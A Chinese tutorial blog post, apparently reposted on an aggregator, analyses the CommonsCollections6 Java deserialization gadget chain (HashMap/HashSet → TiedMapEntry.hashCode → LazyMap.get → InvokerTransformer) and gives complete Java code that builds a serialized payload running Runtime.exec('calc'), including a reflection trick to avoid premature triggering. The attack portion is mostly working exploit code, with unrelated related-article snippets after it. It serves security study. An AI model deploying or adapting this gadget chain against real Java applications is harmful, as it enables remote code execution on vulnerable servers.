JAVA反序列化深入学习(八):CommonsCollections6

news2025/4/23 7:18:45

与CC5相似:

  • 在 CC5 中使用了 TiedMapEntry#toString 来触发 LazyMap#get
  • 在 CC6 中是通过 TiedMapEntry#hashCode 来触发 LazyMap#get

之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反序列化时触发 TiedMapEntryhashCode 方法了

JAVA环境

java version "1.8.0_74"

Java(TM) SE Runtime Environment (build 1.8.0_74-b02)

Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1

检查依赖配置

确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

资源下载

  • maven
  • Java8下载
  • commons-collections源码

前置知识

HashMap - kick-off

之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法

不太记得了可以回顾:JAVA反序列化深入学习(二):URLDNS-CSDN博客

但会遇到 URLDNS 中同样面临的问题:

调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:

  • 类似URLDNS方法二,利用反射调用 putVal 方法写入 key 避免触发
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer
    • 这样添加的时候不会执行任何恶意动作
    • put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中

这样就完成了一个 HashMap 的触发方式

HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?

于是找到了 CC6 的 HashSet 触发方式

HashSet - kick-off

  • HashSet 是一个无序的,不允许有重复元素的集合
  • HashSet 本质上就是由 HashMap 实现的
// 构造一个新的空集合
// 具有默认初始容量(16)和负载因子(0.75)
public HashSet() {
    map = new HashMap<>();
}
// 构造一个包含指定集合中的元素的新集合
public HashSet(Collection<? extends E> c) {
    map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));
    addAll(c);
}
  • HashSet 中的元素都存放在 HashMap 的 key 上面
    • 而 value 中的值都是统一的
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
  • HashSet 跟 HashMap 一样,都是一个存放链表的数组
readObject

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    ...
    
    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

攻击构造

基于HashMap

首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在URLDNS方法二中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式

恶意代码主体
    public void CC6WithHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

        // 初始化 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();

        Transformer[] transformers = GenTransformerArray();
        
        // 创建一个空的 ChainedTransformer
        ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

        // 创建 LazyMap 并引入 TiedMapEntry
        Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
        TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");

        hashMap.put(entry, "neolock");

        //用反射再改回真的chain
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(fakeChain, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        // 反射调用 HashMap 的 putVal 方法
        //        Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
        //        for (Method method : m) {
        //            if ("putVal".equals(method.getName())) {
        //                method.setAccessible(true);
        //                method.invoke(hashMap, -1, entry, 0, false, true);
        //            }
        //        }

        writeObjectToFile(hashMap, fileName);
        readFileObject(fileName);
    }
Transformer数组生成
protected Transformer[] GenTransformerArray()  throws IOException, NoSuchFieldException, IllegalAccessException {
    
    // 创建 ChainedTransformer
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
    return transformers;
}

比较简单,就是一个缝合

基于HashSet

接下来看一下HashSet 的触发方式

恶意代码主体
public void CC6WithHashSet() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

    // 初始化 HashMap
    HashMap<Object, Object> hashMap = new HashMap<>();

    Transformer[] transformers = GenTransformerArray();
    
    // 创建一个空的 ChainedTransformer
    ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

    // 创建 LazyMap 并引入 TiedMapEntry
    Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
    TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");

    hashMap.put(entry, "neolock");

    // 唯一相对于上一个方法多出来的步骤,套了一层HashSet
    HashSet set = new HashSet(hashMap.keySet());

    //用反射再改回真的chain
    Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    f.setAccessible(true);
    f.set(fakeChain, transformers);
    //清空由于 hashMap.put 对 LazyMap 造成的影响
    lazyMap.clear();

    writeObjectToFile(set, fileName);
    readFileObject(fileName);
}

Transformer数组生成与之前相同,可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet

ysoserial

在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 使用的方式是:

  • 多次使用反射向 HashMap 及 HashSet 中写入值
  • 兼容了 JDK 7 和 8 中成员变量名发生变化的情况
  • 并且是通过向底层 map 中的 节点添加的方式

这种方式或许有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据

总结

以上就是 CC6 链分析的全部内容了,最后总结一下

利用说明

  1. 反序列化 调用 TiedMapEntry 的 toString 方法
  2. 调用了 LazyMap 的 hashCode 方法
  3. 触发了后续的 Transformer 恶意执行链
Gadget 总结
  • kick-off gadget:java.util.HashSet#readObject/java.util.HashMap#readObject
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform
  • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
HashSet.readObject()/HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()
  • Java 反序列化漏洞(二) - Commons Collections | 素十八
  • Java反序列化漏洞(八)- CommonsCollections6链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2324830.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

鸿蒙项目源码-外卖点餐-原创!原创!原创!

鸿蒙外卖点餐外卖平台项目源码含文档包运行成功ArkTS语言。 我半个月写的原创作品&#xff0c;请尊重原创。 原创作品&#xff0c;盗版必究&#xff01;&#xff01;&#xff01; 原创作品&#xff0c;盗版必究&#xff01;&#xff01;&#xff01; 原创作品&#xff0c;盗版…

React程序打包与部署

===================== 推荐超级课程: 本地离线DeepSeek AI方案部署实战教程【完全版】Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战目录 为生产环境准备React应用最小化和打包环境变量错误处理部署到托管服务部署到Netlify探索高级主题:Hooks、Su…

Leetcode算法方法总结

1. 双指针法解决链表/数组题目 只要数组有序&#xff0c;就要想到双指针做法。还有二分法 回文串一般也会用到双指针&#xff0c;回文串的长度由于可能是奇数也可能是偶数&#xff0c;所以在寻找时&#xff0c;既需要寻找奇数长度的回文串&#xff0c;也需要寻找偶数长度的回文…

全包圆玛奇朵样板间亮相,极简咖啡风引领家装新潮流

在追求品质生活的当下&#xff0c;家居装修风格的选择成为了许多消费者关注的焦点。近日&#xff0c;全包圆家居装饰有限公司精心打造的玛奇朵样板间正式对外开放&#xff0c;以其独特的咖啡色系极简风格&#xff0c;为家装市场带来了一股清新的潮流。玛奇朵样板间不仅展示了全…

大数据学习(92)-spark详解

&#x1f34b;&#x1f34b;大数据学习&#x1f34b;&#x1f34b; &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 用力所能及&#xff0c;改变世界。 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4dd;支持一…

免费下载 | 2025年网络安全报告

报告总结了2024年的网络安全态势&#xff0c;并对2025年的安全趋势进行了预测和分析。报告涵盖了勒索软件、信息窃取软件、云安全、物联网设备安全等多个领域的安全事件和趋势&#xff0c;并提供了安全建议和最佳实践。 一、报告背景与目的 主题&#xff1a;2024企业信息安全峰…

RCE--解法

目录 一、利用php伪协议 1.代码分析 2.过程 3.结果 ​编辑 4.防御手段 二、RCE(php中点的构造&#xff09; 1.代码分析 2.过程 一、利用php伪协议 <?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match("/flag|system|php|cat|sort…

JAVA反序列化深入学习(九):CommonsCollections7与CC链总结

CC7 依旧是寻找 LazyMap 的触发点 CC6使用了 HashSet而CC6使用了 Hashtable JAVA环境 java version "1.8.0_74" Java(TM) SE Runtime Environment (build 1.8.0_74-b02) Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode) 依赖版本 Apache Commons …

HTML元素小卖部:表单元素 vs 表格元素选购指南

刚学HTML的同学经常把表单和表格搞混&#xff0c;其实它们就像超市里的食品区和日用品区——虽然都在同一个超市&#xff0c;但用途完全不同。今天带你3分钟分清这两大元素家族&#xff01; 一、表单元素家族&#xff08;食品区&#xff1a;收集用户输入&#xff09; 1. <i…

群体智能优化算法-算术优化算法(Arithmetic Optimization Algorithm, AOA,含Matlab源代码)

摘要 算术优化算法&#xff08;Arithmetic Optimization Algorithm, AOA&#xff09;是一种新颖的群体智能优化算法&#xff0c;灵感来源于加、减、乘、除四种基本算术运算。在优化过程中&#xff0c;AOA 通过乘除操作实现全局探索&#xff0c;通过加减操作强化局部开发&#…

Linux之数据链路层

Linux之数据链路层 一.以太网1.1以太网帧格式1.2MAC地址1.3MTU 二.ARP协议2.1ARP协议工作流程2.2ARP协议格式 三.NAT技术四.代理服务4.1正向代理4.2反向代理 五.四大层的学习总结 一.以太网 在我们学习完了网络层后我们接下来就要进入数据链路层的学习了&#xff0c;在学习完网…

如何在 vue 渲染百万行数据,vxe-table 渲染百万行数据性能对比,超大量百万级表格渲染

vxe-table 渲染百万行数据性能对比&#xff0c;超大量百万级表格渲染&#xff1b;如何在 vue 渲染百万行数据&#xff1b;当在开发项目时&#xff0c;遇到需要流畅支持百万级数据的表格时&#xff0c; vxe-table 就可以非常合适了&#xff0c;不仅支持强大的功能&#xff0c;虚…

MySQL-5.7.37安装配置(Windows)

1.下载MySQL-5.7.37软件包并解压 2.配置本地环境变量 打开任务栏 搜索高级系统设置 新建MySQL的环境变量 然后在path中添加%MYSQL_HOME%\bin 3.在MySQL-5.7.37解压的文件夹下新建my.ini文件并输入以下内容 [mysqld]#端口号port 3306#mysql-5.7.27-winx64的路径basedirC:\mysq…

鸿蒙北向应用开发:deveco 5.0 kit化文件相关2

鸿蒙北向应用开发:deveco 5.0 kit化文件相关 在kit化时,有时候会出现这样一种场景即你想把已有的d.ts导出换个名字,这样从名字上更贴合你的kit聚合 什么意思呢?比如现在有 ohos.hilog.d.ts 导出了hilog,现在你想kit化hilog,使得hilog导出名字为usrhilog,这样用户在使用你的k…

《HelloGitHub》第 108 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对开源感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 Python、…

C++可变参数

可变参数C风格的可变参数C风格可变参数的使用 C11可变参数模板递归展开参数包参数列表展开折叠表达式 STL中的emplace插入接口 可变参数 C风格的可变参数 可变参数是一种语言特性&#xff0c;可以在函数声明中使用省略号...来表示函数接受可变数量的参数。 例如典型的printf…

光传输设备现状

随着运营商准备好其基础设施以应对新一代高带宽应用程序和 AI 部署&#xff0c;光传输网络 (OTN) 市场再次有望实现稳健增长。 隧道的尽头有光亮&#xff0c;OTN 市场在 2024 年最后一个季度表现强劲&#xff0c;设备供过于求的时代已经结束。 供应商表示设备订单量有所增加&…

Python 笔记 (二)

Python Note 2 1. Python 慢的原因2. 三个元素3. 标准数据类型4. 字符串5. 比较大小: 富比较方法 rich comparison6. 数据容器 (支持*混装* )一、允许重复类 (list、tuple、str)二、不允许重复类 (set、dict)1、集合(set)2、字典(dict)3、特殊: 双端队列 deque 三、数据容器的共…

d2025329

目录 一、修复表中名字 二、患某种疾病的患者 三、最长连续子序列 四、二叉树的层序遍历 一、修复表中名字 1667. 修复表中的名字 - 力扣&#xff08;LeetCode&#xff09; concat(A,B)&#xff0c;将字符串A和B拼接left(str,len)&#xff0c;从字符串左边开始截取len个字…